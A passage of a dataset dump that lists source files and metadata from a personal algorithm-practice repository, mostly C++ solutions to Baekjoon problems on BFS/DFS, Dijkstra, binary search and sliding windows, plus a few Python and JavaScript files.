아님\\n\\n for(int j = i * i ; j <= n ; j += i) arr[j] = 0;\\n }\\n\\n for(int i = m ; i <= n ; i++) {\\n if(arr[i] != 0) cout << arr[i] << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.41812562942504883,\n \"alphanum_fraction\": 0.4479917585849762,\n \"avg_line_length\": 19.4526309967041,\n \"blob_id\": \"fcdbaf66915e9f65739fc99018a8331f483728b5\",\n \"content_id\": \"1ea9cfcbbd534755a480eddbbcdb8a2f89e9d218\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2090,\n \"license_type\": \"no_license\",\n \"max_line_length\": 69,\n \"num_lines\": 95,\n \"path\": \"/BOJ/Implementation/3190.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3190번: 뱀\\nDATE: 2022-03-24\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 101\\nusing namespace std;\\n\\nint n;\\nint board[MAX][MAX]; // 0: 빈 칸, 1: 뱀, -1: 사과 \\nvector<pair<int, char>> rotation;\\nvector<pair<int,int>> snake;\\nint dr[4] = {0, 1, 0, -1};\\nint dc[4] = {1, 0, -1, 0};\\n\\nbool check_range(int r, int c){\\n if(r < 1 || c < 1 || r > n || c > n) return false; // 벽에 부딪힌 경우\\n if(board[r][c] == 1) return false; // 몸에 부딪히는 경우\\n return true;\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int k, l;\\n int r, c, x;\\n char ch;\\n\\n cin >> n >> k;\\n\\n int hr = 1, hc = 1;\\n int dir = 0;\\n\\n board[1][1] = 1;\\n snake.push_back({1, 1});\\n\\n while(k--){\\n cin >> r >> c;\\n board[r][c] = -1;\\n }\\n\\n cin >> l;\\n\\n while(l--){\\n cin >> x >> ch;\\n rotation.push_back({x, ch});\\n }\\n\\n sort(rotation.begin(), rotation.end());\\n\\n int sec = 1;\\n\\n while(1){\\n bool apple = false;\\n\\n // 1. 머리 다음칸으로 이동\\n int new_hr = hr + dr[dir];\\n int new_hc = hc + dc[dir];\\n\\n if(!check_range(new_hr, new_hc)) break; // 종료\\n if(board[new_hr][new_hc] == -1) apple = true; // 이동한 칸에 사과 존재\\n\\n board[new_hr][new_hc] = 1;\\n snake.insert(snake.begin(), {new_hr, new_hc}); // 바뀐 머리 위치 삽입\\n hr = new_hr;\\n hc = new_hc;\\n\\n // 2. 이동한 칸에 사과 없는 경우 => 꼬리 위치한 칸 비워줌\\n if(!apple) {\\n board[snake.back().first][snake.back().second] = 0;\\n snake.pop_back();\\n }\\n \\n // 3. 방향 회전\\n if(rotation.front().first == sec){\\n if(rotation.front().second == 'D'){\\n if(dir == 3) dir = 0;\\n else dir += 1;\\n }\\n else{ \\n if(dir == 0) dir = 3;\\n else dir -= 1;\\n }\\n\\n rotation.erase(rotation.begin());\\n }\\n\\n sec++;\\n }\\n\\n cout << sec;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.35209712386131287,\n \"alphanum_fraction\": 0.40176600217819214,\n \"avg_line_length\": 18.717391967773438,\n \"blob_id\": \"797889d469e95f4b946aeffaa7e0c789e966920c\",\n \"content_id\": \"9fce1b0140a2cf46edc577a6fdda9ee59adbfdb4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 940,\n \"license_type\": \"no_license\",\n \"max_line_length\": 67,\n \"num_lines\": 46,\n \"path\": \"/BOJ/Brute Force/15954.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 15954번: 인형들\\nDATE: 2021-02-01\\n*/\\n#include <iostream>\\n#include <cmath>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int arr[500];\\n int n, k;\\n cin >> n >> k;\\n\\n long double MIN = 10000000000000000;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n }\\n\\n while(k <= n){\\n for(int i = 0 ; i < n-k+1 ; i++){\\n long double sum=0, m, variance, std;\\n\\n for(int j = i ; j < k+i ; j++){ //연속된 k개의 수 합\\n sum += arr[j];\\n }\\n \\n m = sum / k;\\n \\n sum = 0;\\n for(int j = i ; j < k+i ; j++) sum += pow(arr[j]-m, 2);\\n \\n variance = sum / k; //분산\\n std = sqrt(variance); //표준편차\\n MIN = min(MIN, std);\\n }\\n\\n k++;\\n }\\n \\n cout.precision(11);\\n cout << fixed << MIN;\\n \\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3757396340370178,\n \"alphanum_fraction\": 0.40976330637931824,\n \"avg_line_length\": 20.140625,\n \"blob_id\": \"ee3f3f03e1a4d7b58b7ac4db966ec632e5ac9ee9\",\n \"content_id\": \"1f92e8bad299d82e781e3c62387a039d75f1bbf4\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1378,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 64,\n \"path\": \"/BOJ/BFS_DFS/7562.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 7562번: 나이트의 이동\\nDATE: 2021-01-25\\nBFS\\n*/\\n#include <iostream>\\n#include <queue>\\n#include <string.h>\\n#define MAX 300\\n\\nusing namespace std;\\nint chess[MAX][MAX];\\n//시계 반대 방향\\nint dx[] = { -2, -1, 1, 2, 2, 1, -1, -2 };\\nint dy[] = { -1, -2, -2, -1, 1, 2, 2, 1 };\\nint l, str_x, str_y, dst_x, dst_y;\\n\\nvoid bfs() {\\n queue<pair<int, int>> q;\\n pair<int, int> p;\\n\\n q.push(make_pair(str_x, str_y));\\n\\n while (!q.empty()) {\\n p = q.front();\\n q.pop();\\n\\n if (p.first == dst_x && p.second == dst_y) {\\n cout << chess[dst_x][dst_y] - 1 << \\\"\\\\n\\\";\\n break;\\n }\\n\\n for (int i = 0; i < 8; i++) {\\n int nx = p.first + dx[i];\\n int ny = p.second + dy[i];\\n \\n if(nx < 0 || ny < 0 || nx >= l || ny >= l)\\n continue;\\n if (nx >= 0 && ny >= 0 && nx < l && ny < l && !chess[nx][ny]) {\\n q.push(make_pair(nx, ny));\\n chess[nx][ny] = chess[p.first][p.second] + 1;\\n }\\n }\\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int t;\\n cin >> t;\\n\\n for (int i = 0; i < t; i++) {\\n cin >> l;\\n cin >> str_x >> str_y;\\n cin >> dst_x >> dst_y;\\n\\n memset(chess, 0, sizeof(chess));\\n chess[str_x][str_y] = 1;\\n \\n bfs();\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.43562230467796326,\n \"alphanum_fraction\": 0.504291832447052,\n \"avg_line_length\": 12.735294342041016,\n \"blob_id\": \"6c38a0e0e9e80d2b091a92bc9e1c9ff5167a10c3\",\n \"content_id\": \"45d2894983816ee211858b39a728327c1d9de837\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 480,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 34,\n \"path\": \"/BOJ/Implementation/1110.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 1110번: 더하기 사이클\\n2021-03-23\\n*/\\n#include <iostream>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\tint n, units, tens, num, cycle=0;\\n\\tcin >> n;\\n\\n\\tnum = n;\\n \\n\\twhile (1) {\\n\\t\\tcycle++;\\n\\n\\t\\tif (num < 10) {\\n\\t\\t\\tnum = 10 * num + num;\\n\\t\\t}\\n\\t\\telse if (num >=10) {\\n\\t\\t\\tunits = num % 10;\\n\\t\\t\\ttens = num / 10;\\n\\t\\t\\tnum = 10 * units + (units+tens)%10;\\n\\t\\t}\\n\\n\\t\\tif (num == n) {\\n\\t\\t\\tcout << cycle << \\\"\\\\n\\\";\\n\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\\n\\n\\treturn 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.30705395340919495,\n \"alphanum_fraction\": 0.3286307156085968,\n \"avg_line_length\": 18.770492553710938,\n \"blob_id\": \"3fee39d55d6ed0404ce6ac134a10013919078218\",\n \"content_id\": \"1dd94a4765fdfb9239891d02c6c9f2757eb7eb09\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1237,\n \"license_type\": \"no_license\",\n \"max_line_length\": 87,\n \"num_lines\": 61,\n \"path\": \"/BOJ/Binary Search/2512.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 2512번: 예산\\n//2021-05-25\\n//Binary Search\\n#include <iostream>\\n#include <algorithm>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, m, sum=0, ans=-1;\\n cin >> n;\\n\\n int arr[n];\\n for(int i = 0 ; i < n ; i++){\\n cin >> arr[i];\\n sum += arr[i];\\n }\\n\\n sort(arr, arr+n);\\n\\n cin >> m;\\n\\n if(sum <= m){\\n cout << arr[n - 1];\\n }\\n else{\\n int start = 0;\\n int end = m;\\n int mid;\\n\\n while(start <= end){\\n //mid => Ư���� ���� ���Ѿ�\\n sum = 0;\\n mid = (start + end) / 2;\\n\\n for(int i = 0 ; i < n ; i++){\\n if(arr[i] <= mid)\\n sum += arr[i];\\n else\\n sum += mid;\\n }\\n \\n cout << \\\"start: \\\" << start << \\\" end: \\\" << end << \\\" [mid: \\\" << mid << \\\"]\\\\n\\\";\\n cout << \\\"sum: \\\" << sum << \\\"\\\\n\\\\n\\\";\\n\\n if(sum <= m){\\n start = mid + 1;\\n if(mid > ans) \\n ans = mid;\\n }\\n else if(sum > m){\\n end = mid - 1;\\n }\\n }\\n\\n cout << ans;\\n\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.3388090431690216,\n \"alphanum_fraction\": 0.37029433250427246,\n \"avg_line_length\": 19.30555534362793,\n \"blob_id\": \"fc571c6be8f700862f5e882fe8c8debdef40080e\",\n \"content_id\": \"7137d758717dcdc6ded3f88fa1288f03260abe8c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1471,\n \"license_type\": \"no_license\",\n \"max_line_length\": 70,\n \"num_lines\": 72,\n \"path\": \"/BOJ/BFS_DFS/2468.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 2468번: 안전 영역\\nDATE: 2021-02-06\\nDFS\\n*/\\n#include <iostream>\\n#include <cstring>\\n#include <vector>\\n#include <algorithm>\\n#define MAX 101\\nusing namespace std;\\n\\nint area[MAX][MAX];\\nint tmp[MAX][MAX];\\nint dx[] = {-1, 0, 1, 0};\\nint dy[] = {0, 1, 0, -1};\\nint n;\\n\\nvoid dfs(int x, int y){\\n tmp[x][y] = 0;\\n \\n for(int i = 0 ; i < 4 ; i++){\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n if(nx >= 0 && ny >= 0 && nx < n && ny < n && tmp[nx][ny] == 1)\\n dfs(nx, ny);\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int ans = -1, max_value = 0;\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n cin >> area[i][j];\\n max_value = max(area[i][j], max_value);\\n }\\n }\\n\\n memcpy(tmp, area, sizeof(area));\\n\\n for(int k = 0 ; k < max_value ; k++){\\n int cnt = 0;\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n if(area[i][j] <= k){\\n tmp[i][j] = 0;\\n }\\n else tmp[i][j] = 1;\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++){\\n for(int j = 0 ; j < n ; j++){\\n if(tmp[i][j] == 1){\\n cnt++;\\n dfs(i, j);\\n }\\n }\\n }\\n \\n memcpy(tmp, area, sizeof(area));\\n ans = max(ans, cnt);\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.34015747904777527,\n \"alphanum_fraction\": 0.38792651891708374,\n \"avg_line_length\": 23.126583099365234,\n \"blob_id\": \"d2dc8427a6e696c9da9431b21688d650a4434268\",\n \"content_id\": \"05c47a27de9178c34a85686c08b7b7afbda1e317\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2017,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 79,\n \"path\": \"/BOJ/Implementation/14500.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14500번: 테트로미노\\nDATE: 2021-10-13\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\nusing namespace std;\\n\\nint ans = -1;\\nint n, m;\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\nint arr[500][500] = {0, }, visited[500][500] = {0, };\\n\\nvoid solve_shape(int x, int y) { // ㅜ 모양은 dfs가 불가능\\n if(x >= 0 && x + 1 < n && y >= 0 && y + 2 < m) {\\n // ㅜ\\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x][y+2] + arr[x+1][y+1]);\\n }\\n if(x - 1 >= 0 && x + 1 < n && y >= 0 && y + 1 < m) {\\n // ㅓ\\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x+1][y+1] + arr[x-1][y+1]);\\n }\\n if(x - 1 >= 0 && x < n && y >= 0 && y + 2 < m) {\\n // ㅗ\\n ans = max(ans, arr[x][y] + arr[x][y+1] + arr[x][y+2] + arr[x-1][y+1]);\\n }\\n if(x >= 0 && x + 2 < n && y >= 0 && y + 1 < m) {\\n // ㅏ\\n ans = max(ans, arr[x][y] + arr[x+1][y] + arr[x+2][y] + arr[x+1][y+1]);\\n }\\n}\\n\\nvoid solve(int x, int y, int length, int sum) {\\n if(length == 4) {\\n ans = max(ans, sum);\\n return;\\n }\\n\\n for(int i = 0; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny]) continue;\\n visited[nx][ny] = 1;\\n solve(nx, ny, length + 1, sum + arr[nx][ny]);\\n visited[nx][ny] = 0; //대칭, 회전 위해서는 다시 방문해야함\\n }\\n\\n return;\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n cin >> arr[i][j];\\n }\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n // ㅜ 모양\\n solve_shape(i, j);\\n\\n // 나머지 모양\\n visited[i][j] = 1;\\n solve(i, j, 1, arr[i][j]);\\n visited[i][j] = 0; // 대칭, 회전 위해서는 다시 방문해야함\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.30854272842407227,\n \"alphanum_fraction\": 0.364824116230011,\n \"avg_line_length\": 22.162790298461914,\n \"blob_id\": \"f059ebe2e309e8576bf43360310ac46ca2dea3ee\",\n \"content_id\": \"9155026197822dc7b062bca8260bca20e596d98e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1011,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 43,\n \"path\": \"/BOJ/Dynamic Programming/9184.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 9184번: 신나는 함수 실행\\nDATE: 2021-05-28\\nDynamic programming\\n*/\\n#include <iostream>\\nusing namespace std;\\nint dp[21][21][21];\\n\\nint w(int a, int b, int c){\\n if(a <= 0 || b <= 0 || c <= 0)\\n return 1;\\n else if(a > 20 || b > 20 || c > 20)\\n return w(20, 20, 20);\\n else if(a < b && b < c){\\n if(dp[a][b][c] != 0)\\n return dp[a][b][c];\\n else\\n return dp[a][b][c] = w(a, b, c - 1) + w(a, b - 1, c - 1) - w(a, b - 1, c);\\n }\\n else{\\n if(dp[a][b][c] != 0)\\n return dp[a][b][c];\\n else\\n return dp[a][b][c] = w(a - 1, b, c) + w(a - 1, b - 1, c) + w(a - 1, b, c - 1) - w(a - 1, b - 1, c - 1);\\n }\\n}\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n\\n while(1){\\n int a, b, c;\\n cin >> a >> b >> c;\\n\\n if(a == -1 && b == -1 && c == -1)\\n break;\\n \\n cout << \\\"w(\\\" << a << \\\", \\\" << b << \\\", \\\" << c << \\\") = \\\" << w(a, b, c) << '\\\\n';\\n }\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.44920843839645386,\n \"alphanum_fraction\": 0.4696570038795471,\n \"avg_line_length\": 22.703125,\n \"blob_id\": \"9bc69b4a26ea07fbdbd00049725ed0afc4555a86\",\n \"content_id\": \"ef5f4d6ebd5cf93a999b60ef9a8622b63bdced69\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1714,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 64,\n \"path\": \"/BOJ/Sliding Window/3078.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 3078번: 좋은 친구\\nDATE: 2022-01-19\\nSliding Window\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <map>\\n#define startNameLen vec[s].second\\n#define endNameLen vec[e].second\\nusing namespace std;\\n\\nvector<pair<int,int>> vec;\\nmap<int, int> m; \\nint n, k;\\nint s = 0, e = 0;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n string str;\\n long long ans = 0;\\n\\n cin >> n >> k;\\n\\n for(int i = 0 ; i < n ; i++){\\n cin >> str;\\n vec.push_back({i + 1, str.length()}); // (등수, 이름의 길이)\\n }\\n \\n while(1){\\n if(e == n) { // end는 끝에 다다르고 start만 증가해야 하는 경우\\n while(s < n){\\n // 범위를 벗어난 값 제거 (창문에서 나가는 값)\\n if(m[startNameLen] > 1) m[startNameLen]--;\\n else if(m[startNameLen] == 1) m.erase(m[startNameLen]);\\n s++;\\n\\n if(m[startNameLen] > 1) ans += m[startNameLen] - 1; // 쌍의 개수 구하기\\n }\\n break;\\n }\\n\\n if(e - s > k) { // 범위를 벗어난 값 제거 (창문에서 나가는 값)\\n if(m[startNameLen] > 1) m[startNameLen]--;\\n else if(m[startNameLen] == 1) m.erase(startNameLen);\\n s++;\\n }\\n\\n while(e - s <= k){ // end 값을 증가시키며 새로운 값 처리 (창문에 새로 들어오는 값)\\n if(m.find(endNameLen) == m.end()) m.insert({endNameLen, 1});\\n else m[endNameLen]++;\\n\\n if(e - s == k){ // 쌍의 개수 구하기\\n if(m[startNameLen] > 1) ans += m[startNameLen] - 1;\\n }\\n\\n e++;\\n }\\n }\\n\\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.34866827726364136,\n \"alphanum_fraction\": 0.4043583571910858,\n \"avg_line_length\": 21.351350784301758,\n \"blob_id\": \"ba017719c4f48312e8e8e7d4204a729202fd18c9\",\n \"content_id\": \"a275e390d1e3b70e83f35725dd1a065d87dfb5d5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 834,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 37,\n \"path\": \"/BOJ/Implementation/9610.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"//BOJ 9610번: 사분면\\n//2021-05-04\\n#include <iostream>\\nusing namespace std;\\n\\nint main(){\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n, q1=0, q2=0, q3=0, q4=0, axis=0;\\n pair<int, int> pos;\\n\\n cin >> n;\\n\\n for(int i = 0 ; i < n ; i++){\\n int x, y;\\n cin >> x >> y;\\n pos = make_pair(x, y);\\n\\n if(pos.first > 0 && pos.second > 0)\\n q1++;\\n else if(pos.first < 0 && pos.second > 0)\\n q2++;\\n else if(pos.first < 0 && pos.second < 0)\\n q3++;\\n else if(pos.first > 0 && pos.second < 0)\\n q4++;\\n else\\n axis++;\\n }\\n\\n cout << \\\"Q1: \\\" << q1 << \\\"\\\\n\\\";\\n cout << \\\"Q2: \\\" << q2 << \\\"\\\\n\\\";\\n cout << \\\"Q3: \\\" << q3 << \\\"\\\\n\\\";\\n cout << \\\"Q4: \\\" << q4 << \\\"\\\\n\\\";\\n cout << \\\"AXIS: \\\" << axis << \\\"\\\\n\\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.5265700221061707,\n \"alphanum_fraction\": 0.6135265827178955,\n \"avg_line_length\": 13.857142448425293,\n \"blob_id\": \"2224a934b39408c043a32c6525de93a0fc77c774\",\n \"content_id\": \"67e240b6c1ad27c45b983223129b6f3bdebaa006\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 217,\n \"license_type\": \"no_license\",\n \"max_line_length\": 25,\n \"num_lines\": 14,\n \"path\": \"/BOJ/Implementation/11656.py\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# 11656.py\\n# BOJ 11656: 접미사 배열\\n# DATE: 2022-03-15\\nimport sys\\nread = sys.stdin.readline\\n\\ns = read().strip()\\ns_list = []\\n\\nfor i in range(len(s)):\\n s_list.append(s[i:])\\n\\nfor i in sorted(s_list):\\n print(i)\"\n },\n {\n \"alpha_fraction\": 0.42092689871788025,\n \"alphanum_fraction\": 0.4495938718318939,\n \"avg_line_length\": 22.266666412353516,\n \"blob_id\": \"c8ed33638a5cd96f89b9a85a963a00b417d20293\",\n \"content_id\": \"f103f368881ce6a98a3cb1778f8e31829cc22840\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 2137,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 90,\n \"path\": \"/BOJ/BFS_DFS/14502.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 14502번: 연구소\\nDATE: 2021-10-07\\nUPDATE: 2022-04-03\\nBFS\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <algorithm>\\n#include <queue>\\n#include <string.h>\\n#define MAX 8\\nusing namespace std;\\n\\nvector<pair<int, int>> virus, candidate;\\nint n, m, ans = -1;\\nint arr[MAX][MAX], tmp[MAX][MAX], visited[MAX][MAX];\\nint dx[4] = {-1, 0, 1, 0};\\nint dy[4] = {0, 1, 0, -1};\\n\\nvoid bfs(int x, int y) {\\n queue<pair<int, int>> q;\\n\\n q.push(make_pair(x, y));\\n visited[x][y] = 1;\\n\\n while(!q.empty()) {\\n int x = q.front().first;\\n int y = q.front().second;\\n q.pop();\\n\\n for(int i = 0 ; i < 4 ; i++) {\\n int nx = x + dx[i];\\n int ny = y + dy[i];\\n\\n if(nx < 0 || ny < 0 || nx >= n || ny >= m || visited[nx][ny] == 1) continue;\\n if(tmp[nx][ny] == 1) continue;\\n\\n visited[nx][ny] = 1;\\n q.push(make_pair(nx, ny));\\n tmp[nx][ny] = 2;\\n }\\n \\n }\\n}\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n cin >> n >> m;\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n cin >> arr[i][j];\\n if(arr[i][j] == 2) virus.push_back(make_pair(i, j));\\n else if(arr[i][j] == 0) candidate.push_back(make_pair(i, j));\\n }\\n }\\n\\n vector<bool> idx(candidate.size(), false);\\n\\n for(int i = 0 ; i < 3 ; i++) idx[i] = true;\\n sort(idx.begin(), idx.end());\\n\\n do{\\n int cnt = 0;\\n\\n memcpy(tmp, arr, sizeof(arr));\\n memset(visited, 0, sizeof(visited));\\n\\n for(int i = 0 ; i < idx.size() ; i++){\\n if(idx[i]) tmp[candidate[i].first][candidate[i].second] = 1; //벽 설치\\n }\\n\\n for(int i = 0 ; i < virus.size() ; i++) {\\n bfs(virus[i].first, virus[i].second); //바이러스 위치에서 bfs 시작\\n }\\n\\n for(int i = 0 ; i < n ; i++) {\\n for(int j = 0 ; j < m ; j++) {\\n if(tmp[i][j] == 0) cnt++; //안전 영역 수\\n }\\n }\\n\\n ans = max(cnt, ans); \\n }while(next_permutation(idx.begin(), idx.end()));\\n \\n cout << ans;\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4429223835468292,\n \"alphanum_fraction\": 0.47031962871551514,\n \"avg_line_length\": 17.29166603088379,\n \"blob_id\": \"f79083ca218acc314dbf6f7801a1f4d4245cd806\",\n \"content_id\": \"13566d243b1e251fe73652c168d3817df1cf09e7\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"JavaScript\",\n \"length_bytes\": 438,\n \"license_type\": \"no_license\",\n \"max_line_length\": 53,\n \"num_lines\": 24,\n \"path\": \"/programmers/Level 2/h-index.js\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nprogrammers Level 2: H-index\\n2021-12-26\\n*/\\nfunction solution(citations) {\\n let answer = 0;\\n let num = citations.length;\\n\\n citations.sort((a, b) => {\\n return a - b\\n });\\n\\n for (let i = num; i >= 0; i--) {\\n let index = citations.findIndex(v => v >= i);\\n index = index === -1 ? num : index;\\n\\n if (num - index >= i) {\\n answer = i\\n break;\\n }\\n }\\n\\n return answer;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4190231263637543,\n \"alphanum_fraction\": 0.4627249240875244,\n \"avg_line_length\": 18.475000381469727,\n \"blob_id\": \"d4c930877ff3390c4edda6234f6c953cd50828cc\",\n \"content_id\": \"764398c5462b022f27da6ff1b73804407ba6a524\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 786,\n \"license_type\": \"no_license\",\n \"max_line_length\": 64,\n \"num_lines\": 40,\n \"path\": \"/BOJ/Two Pointer/2470.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"/*\\nBOJ 2470번: 두 용액\\n2021-12-28\\nTwo pointer\\n*/\\n#include <iostream>\\n#include <algorithm>\\n#include <vector>\\nusing namespace std;\\n\\nint main() {\\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\\n int n;\\n cin >> n;\\n\\n vector<int> ans(2);\\n int start = 0, end = n - 1, min = 2000000001;\\n int arr[n];\\n\\n for(int i = 0 ; i < n ; i++) cin >> arr[i];\\n sort(arr, arr + n);\\n \\n while(start < end) {\\n int sum = arr[start] + arr[end];\\n\\n if(abs(sum) < min) {\\n ans[0] = arr[start];\\n ans[1] = arr[end];\\n min = abs(sum);\\n }\\n \\n if(sum < 0) start++;\\n else end--;\\n }\\n\\n sort(ans.begin(), ans.end());\\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \\\" \\\";\\n\\n return 0;\\n}\"\n },\n {\n \"alpha_fraction\": 0.4434320330619812,\n \"alphanum_fraction\": 0.46545177698135376,\n \"avg_line_length\": 19.59375,\n \"blob_id\": \"9fed0277bea674980b7b58435d002cf276cef8df\",\n \"content_id\": \"21c862dafb99a2da4d03304213f82311de514fd9\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"C++\",\n \"length_bytes\": 1327,\n \"license_type\": \"no_license\",\n \"max_line_length\": 88,\n \"num_lines\": 64,\n \"path\": \"/BOJ/Dijkstra/1753.cpp\",\n \"repo_name\": \"yegyeom/Algorithm\",\n \"src_encoding\": \"UHC\",\n \"text\": \"/*\\nBOJ 1753번: 최단경로\\nDATE: 2021-02-18\\nDijkstra Algorithm\\n*/\\n#include <iostream>\\n#include <vector>\\n#include <queue>\\n#define MAX 20001\\n#define INF 1e9\\nusing namespace std;\\n\\nvector<pair<int, int>> graph[MAX];\\nint d[MAX];\\n\\nvoid dijkstra(int start){\\n priority_queue<pair<int, int>, vector<pair<int, int>>, greater<pair<int, int>>> pq; \\n \\n pq.push(make_pair(0, start));\\n d[start] = 0;\\n\\n while(!pq.empty()){\\n int cost = pq.top().first;\\n 